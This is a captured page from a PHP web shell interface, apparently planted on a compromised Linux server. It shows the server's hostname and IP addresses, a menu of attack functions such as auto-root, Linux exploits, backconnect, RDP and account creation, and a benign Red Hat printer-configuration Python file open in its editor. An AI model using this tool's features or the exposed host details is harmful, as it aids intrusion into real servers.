Linux server.flyproject.com.br 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Apache
: 207.244.227.86 | : 216.73.217.1
10 Domain
7.1.33
hubnog
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
system-config-printer /
[ HOME SHELL ]
Name
Size
Permission
Action
icons
[ DIR ]
drwxr-xr-x
troubleshoot
[ DIR ]
drwxr-xr-x
ui
[ DIR ]
drwxr-xr-x
xml
[ DIR ]
drwxr-xr-x
HIG.py
57
B
-rw-r--r--
HIG.pyc
231
B
-rw-r--r--
HIG.pyo
231
B
-rw-r--r--
PhysicalDevice.py
10.69
KB
-rw-r--r--
PhysicalDevice.pyc
7.72
KB
-rw-r--r--
PhysicalDevice.pyo
7.72
KB
-rw-r--r--
SearchCriterion.py
1.32
KB
-rw-r--r--
SearchCriterion.pyc
982
B
-rw-r--r--
SearchCriterion.pyo
982
B
-rw-r--r--
ToolbarSearchEntry.py
6.91
KB
-rw-r--r--
ToolbarSearchEntry.pyc
6.43
KB
-rw-r--r--
ToolbarSearchEntry.pyo
6.43
KB
-rw-r--r--
applet.py
15.71
KB
-rwxr-xr-x
applet.pyc
14.03
KB
-rw-r--r--
applet.pyo
14.03
KB
-rw-r--r--
asyncconn.py
9.63
KB
-rw-r--r--
asyncconn.pyc
9.8
KB
-rw-r--r--
asyncconn.pyo
9.8
KB
-rw-r--r--
asyncipp.py
26.02
KB
-rw-r--r--
asyncipp.pyc
20.5
KB
-rw-r--r--
asyncipp.pyo
20.5
KB
-rw-r--r--
asyncpk1.py
25.68
KB
-rw-r--r--
asyncpk1.pyc
20.4
KB
-rw-r--r--
asyncpk1.pyo
20.4
KB
-rw-r--r--
authconn.py
18.34
KB
-rw-r--r--
authconn.pyc
15.74
KB
-rw-r--r--
authconn.pyo
15.74
KB
-rw-r--r--
check-device-ids.py
10.9
KB
-rwxr-xr-x
check-device-ids.pyc
8.13
KB
-rw-r--r--
check-device-ids.pyo
8.13
KB
-rw-r--r--
config.py
1.05
KB
-rw-r--r--
config.pyc
370
B
-rw-r--r--
config.pyo
370
B
-rw-r--r--
cupspk.py
27.35
KB
-rw-r--r--
cupspk.pyc
18.01
KB
-rw-r--r--
cupspk.pyo
18.01
KB
-rw-r--r--
debug.py
1.62
KB
-rw-r--r--
debug.pyc
1.55
KB
-rw-r--r--
debug.pyo
1.55
KB
-rw-r--r--
dnssdresolve.py
4.91
KB
-rw-r--r--
dnssdresolve.pyc
5.17
KB
-rw-r--r--
dnssdresolve.pyo
5.17
KB
-rw-r--r--
errordialogs.py
3.13
KB
-rw-r--r--
errordialogs.pyc
2.57
KB
-rw-r--r--
errordialogs.pyo
2.57
KB
-rw-r--r--
firewallsettings.py
9.25
KB
-rw-r--r--
firewallsettings.pyc
8.69
KB
-rw-r--r--
firewallsettings.pyo
8.69
KB
-rw-r--r--
gtkinklevel.py
4.71
KB
-rw-r--r--
gtkinklevel.pyc
4.18
KB
-rw-r--r--
gtkinklevel.pyo
4.18
KB
-rw-r--r--
gui.py
2.12
KB
-rw-r--r--
gui.pyc
1.76
KB
-rw-r--r--
gui.pyo
1.76
KB
-rw-r--r--
install-printerdriver.py
2.82
KB
-rwxr-xr-x
install-printerdriver.pyc
2.42
KB
-rw-r--r--
install-printerdriver.pyo
2.42
KB
-rw-r--r--
installpackage.py
1.34
KB
-rw-r--r--
installpackage.pyc
1.1
KB
-rw-r--r--
installpackage.pyo
1.1
KB
-rw-r--r--
jobviewer.py
91.15
KB
-rw-r--r--
jobviewer.pyc
64.36
KB
-rw-r--r--
jobviewer.pyo
64.36
KB
-rw-r--r--
monitor.py
31.96
KB
-rw-r--r--
monitor.pyc
23
KB
-rw-r--r--
monitor.pyo
23
KB
-rw-r--r--
newprinter.py
164.81
KB
-rw-r--r--
newprinter.pyc
102.42
KB
-rw-r--r--
newprinter.pyo
102.42
KB
-rw-r--r--
options.py
18.73
KB
-rw-r--r--
options.pyc
16.57
KB
-rw-r--r--
options.pyo
16.57
KB
-rw-r--r--
optionwidgets.py
8.78
KB
-rw-r--r--
optionwidgets.pyc
7.94
KB
-rw-r--r--
optionwidgets.pyo
7.94
KB
-rw-r--r--
ppdcache.py
7.41
KB
-rw-r--r--
ppdcache.pyc
6.1
KB
-rw-r--r--
ppdcache.pyo
6.1
KB
-rw-r--r--
ppdippstr.py
7.15
KB
-rw-r--r--
ppdippstr.pyc
5.64
KB
-rw-r--r--
ppdippstr.pyo
5.64
KB
-rw-r--r--
ppdsloader.py
10.78
KB
-rw-r--r--
ppdsloader.pyc
10.22
KB
-rw-r--r--
ppdsloader.pyo
10.22
KB
-rw-r--r--
printerproperties.py
78.52
KB
-rw-r--r--
printerproperties.pyc
51.48
KB
-rw-r--r--
printerproperties.pyo
51.48
KB
-rw-r--r--
probe_printer.py
15.24
KB
-rw-r--r--
probe_printer.pyc
13.82
KB
-rw-r--r--
probe_printer.pyo
13.82
KB
-rw-r--r--
pysmb.py
6.8
KB
-rwxr-xr-x
pysmb.pyc
5.47
KB
-rw-r--r--
pysmb.pyo
5.47
KB
-rw-r--r--
scp-dbus-service.py
19.04
KB
-rwxr-xr-x
scp-dbus-service.pyc
21.34
KB
-rw-r--r--
scp-dbus-service.pyo
21.34
KB
-rw-r--r--
serversettings.py
21.4
KB
-rw-r--r--
serversettings.pyc
16.15
KB
-rw-r--r--
serversettings.pyo
16.15
KB
-rw-r--r--
smburi.py
3.22
KB
-rw-r--r--
smburi.pyc
2.61
KB
-rw-r--r--
smburi.pyo
2.61
KB
-rw-r--r--
statereason.py
6.09
KB
-rw-r--r--
statereason.pyc
5.02
KB
-rw-r--r--
statereason.pyo
5.02
KB
-rw-r--r--
system-config-printer.py
80.8
KB
-rwxr-xr-x
system-config-printer.pyc
57.95
KB
-rw-r--r--
system-config-printer.pyo
57.95
KB
-rw-r--r--
timedops.py
8
KB
-rw-r--r--
timedops.pyc
8
KB
-rw-r--r--
timedops.pyo
8
KB
-rw-r--r--
userdefault.py
6.12
KB
-rw-r--r--
userdefault.pyc
5.34
KB
-rw-r--r--
userdefault.pyo
5.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ppdcache.py
#!/usr/bin/python ## Copyright (C) 2010, 2011, 2012, 2013 Red Hat, Inc. ## Authors: ## Tim Waugh <twaugh@redhat.com> ## This program is free software; you can redistribute it and/or modify ## it under the terms of the GNU General Public License as published by ## the Free Software Foundation; either version 2 of the License, or ## (at your option) any later version. ## This program is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ## GNU General Public License for more details. ## You should have received a copy of the GNU General Public License ## along with this program; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. import asyncconn import cups from gi.repository import GLib from gi.repository import Gdk from gi.repository import Gtk import os import tempfile from debug import * cups.require ("1.9.50") class PPDCache: def __init__ (self, host=None, port=None, encryption=None): self._cups = None self._exc = None self._cache = dict() self._modtimes = dict() self._host = host self._port = port self._encryption = encryption self._queued = list() self._connecting = False debugprint ("+%s" % self) def __del__ (self): debugprint ("-%s" % self) if self._cups: self._cups.destroy () def fetch_ppd (self, name, callback, check_uptodate=True): if check_uptodate and self._modtimes.has_key (name): # We have getPPD3 so we can check whether the PPD is up to # date. debugprint ("%s: check if %s is up to date" % (self, name)) self._cups.getPPD3 (name, modtime=self._modtimes[name], reply_handler=lambda c, r: self._got_ppd3 (c, name, r, callback), error_handler=lambda c, r: self._got_ppd3 (c, name, r, callback)) return try: f = self._cache[name] except RuntimeError, e: self._schedule_callback (callback, name, None, e) return except KeyError: if not self._cups: self._queued.append ((name, callback)) if not self._connecting: self._connect () return debugprint ("%s: fetch PPD for %s" % (self, repr (name))) self._cups.getPPD3 (name, reply_handler=lambda c, r: self._got_ppd3 (c, name, r, callback), error_handler=lambda c, r: self._got_ppd3 (c, name, r, callback)) return # Copy from our file object to a new temporary file, create a # PPD object from it, then remove the file. This way we don't # leave temporary files around even though we are caching... f.seek (0) (tmpfd, tmpfname) = tempfile.mkstemp () tmpf = file (tmpfname, "w") tmpf.writelines (f.readlines ()) del tmpf os.close (tmpfd) try: ppd = cups.PPD (tmpfname) os.unlink (tmpfname) self._schedule_callback (callback, name, ppd, None) except Exception, e: os.unlink (tmpfname) self._schedule_callback (callback, name, None, e) def _connect (self, callback=None): self._connecting = True asyncconn.Connection (host=self._host, port=self._port, encryption=self._encryption, reply_handler=self._connected, error_handler=self._connected) def _got_ppd (self, connection, name, result, callback): if isinstance (result, Exception): self._schedule_callback (callback, name, result, None) else: # Store an open file object, then remove the actual file. # This way we don't leave temporary files around. self._cache[name] = file (result) debugprint ("%s: caching %s (fd %d)" % (self, result, self._cache[name].fileno())) os.unlink (result) self.fetch_ppd (name, callback) def _got_ppd3 (self, connection, name, result, callback): (status, modtime, filename) = result if status in [cups.HTTP_OK, cups.HTTP_NOT_MODIFIED]: if status == cups.HTTP_NOT_MODIFIED: # The file is no newer than the one we already have. # CUPS before 1.5.3 created a temporary file in error # in this situation (STR #4018) so remove that. try: os.unlink (filename) except OSError: pass elif status == cups.HTTP_OK: # Our version of the file was older. Cache the new version. # Store an open file object, then remove the actual # file. This way we don't leave temporary files # around. try: self._cache[name] = file (filename) debugprint ("%s: caching %s (fd %d) " "(%s) - %s" % (self, filename, self._cache[name].fileno (), modtime, status)) os.unlink (filename) self._modtimes[name] = modtime except IOError: # File disappeared? debugprint ("%s: file %s disappeared? Unable to cache it" % (self, filename)) # Now fetch it from our own cache. self.fetch_ppd (name, callback, check_uptodate=False) else: self._schedule_callback (callback, name, None, cups.HTTPError (status)) def _connected (self, connection, exc): self._connecting = False if isinstance (exc, Exception): self._cups = None self._exc = exc else: self._cups = connection queued = self._queued self._queued = list() for name, callback in queued: self.fetch_ppd (name, callback) def _schedule_callback (self, callback, name, result, exc): def cb_func (callback, name, result, exc): Gdk.threads_enter () callback (name, result, exc) Gdk.threads_leave () return False GLib.idle_add (cb_func, callback, name, result, exc) if __name__ == "__main__": import sys from debug import * from gi.repository import GObject set_debugging (True) GObject.threads_init () Gdk.threads_init () loop = GObject.MainLoop () def signal (name, result, exc): debugprint ("**** %s" % name) debugprint (repr (result)) debugprint (repr (exc)) c = cups.Connection () printers = c.getPrinters () del c cache = PPDCache () p = None for p in printers: cache.fetch_ppd (p, signal) if p: GLib.timeout_add_seconds (1, cache.fetch_ppd, p, signal) GLib.timeout_add_seconds (5, loop.quit) loop.run ()
Close